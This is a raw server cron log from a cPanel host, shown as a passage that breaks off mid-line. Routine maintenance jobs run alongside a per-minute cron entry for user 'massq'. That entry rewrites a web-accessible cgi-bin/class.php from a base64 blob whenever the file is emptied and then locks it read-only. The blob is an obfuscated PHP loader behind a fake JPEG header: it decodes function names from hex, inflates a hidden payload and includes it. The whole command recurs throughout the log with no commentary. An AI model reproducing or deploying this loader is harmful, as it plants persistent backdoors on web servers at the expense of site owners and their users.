Sep 12 06:30:01 server CROND[31527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:30:01 server CROND[31531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:30:01 server CROND[31529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:30:01 server CROND[31534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:30:01 server CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:30:01 server CROND[31530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:30:01 server CROND[31535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:31:01 server CROND[32344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:31:01 server CROND[32345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:31:01 server CROND[32346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:32:01 server CROND[301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:32:01 server CROND[302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:32:01 server CROND[304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:33:01 server CROND[700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:33:01 server CROND[701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:33:01 server CROND[702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:34:01 server CROND[1249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:34:01 server CROND[1250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:34:01 server CROND[1251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:35:01 server CROND[1670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:35:01 server CROND[1671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:35:01 server CROND[1673]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:35:01 server CROND[1676]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 06:35:01 server CROND[1682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:35:01 server CROND[1677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:35:01 server CROND[1678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:35:01 server CROND[1679]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:35:01 server CROND[1680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:36:01 server CROND[2568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:36:01 server CROND[2569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:36:01 server CROND[2570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:37:01 server CROND[2975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:37:01 server CROND[2974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:37:01 server CROND[2976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:38:01 server CROND[3431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:38:01 server CROND[3432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:38:01 server CROND[3439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:39:01 server CROND[3812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:39:01 server CROND[3813]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 06:39:01 server CROND[3814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:39:01 server CROND[3815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:40:01 server CROND[4342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:40:01 server CROND[4344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:40:01 server CROND[4351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:40:01 server CROND[4350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:40:01 server CROND[4349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:40:01 server CROND[4346]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:40:01 server CROND[4348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:40:01 server CROND[4353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:41:01 server CROND[5274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:41:01 server CROND[5276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 